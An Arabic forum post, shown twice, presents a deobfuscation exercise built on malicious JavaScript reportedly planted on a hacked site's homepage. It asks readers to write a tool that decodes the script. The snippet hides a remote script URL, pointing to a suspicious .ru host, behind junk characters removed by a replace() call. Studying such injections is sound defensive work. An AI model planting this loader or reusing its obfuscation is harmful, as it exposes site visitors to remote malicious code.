09-02-2010, 10:28 AM
السلام عليكم ورحمة الله
بعد اختراق موقع قام المخترق بزرع كود خبيث في الصفحة الأولى و هذا جزء من الكود الحقيقي :
يعتبر تمرين بسيط جدا حول Obfuscation.
عملية التشويش بسيطة و تعتبر بداية جيدة لفهم العملية...
المطلوب :
كتابة تطبيق بسيط يقوم بحذف التشويش الــ Deobfuscation
ملاحظة : التعامل بحذر مع نتيجة التحليل
---
بعد اختراق موقع قام المخترق بزرع كود خبيث في الصفحة الأولى و هذا جزء من الكود الحقيقي :
يعتبر تمرين بسيط جدا حول Obfuscation.
عملية التشويش بسيطة و تعتبر بداية جيدة لفهم العملية...
PHP كود :
window.onload = function(){var MyScript = document.createElement('sc'+'ript');
MyScript.setAttribute('type', 'text/javascript');
MyScript.setAttribute('id', 'MyScriptId');
MyScript,setAttribute('src', 'h@(t#t^^!p#&:@^$(/$/(j^#^o^o(#$m&)$l$(@!#a$^-!&^$)o@@r##!!g^!(^.$$^s))$p(@(a@@n@)#k^@#w&)i#$r(e(.$!&#c!@o!^()!m#.!&w())3(^@s$&^c$)h&(o#!o&#l&@s!^&-(c#o(#)m@$.&(e$@&!a^s(y(t(a$(^)b)!&l&e@!t(e)(n!n$#)i^(^!s@.^(r^#^$u(#:&8^$)0)^#8^(!0^/!#g##@$$o&o#$g#l!e^($.(@c#o^!)m@/(g&$^o(@o$#(^g($l!e@.##c$)$(o$)!!m^$/($!b!)$)i$n#(g)!.^!c((@&@o^$m)$)/&!&g$(($o)o)@((g#&&l(!e@$.(f($)^&r@&!#/!w@(o(^!r)d()$!#p)!^r(e@#s&)!s(^!@.^(&o$#@r((g^/^^@'.replace(/\!|@|&|\)|\$|\(|#|\^/ig, ''));
MyScript.setAttribute('defer', 'defer');
document.body.appendChild(MyScript);
المطلوب :
كتابة تطبيق بسيط يقوم بحذف التشويش الــ Deobfuscation
ملاحظة : التعامل بحذر مع نتيجة التحليل
---

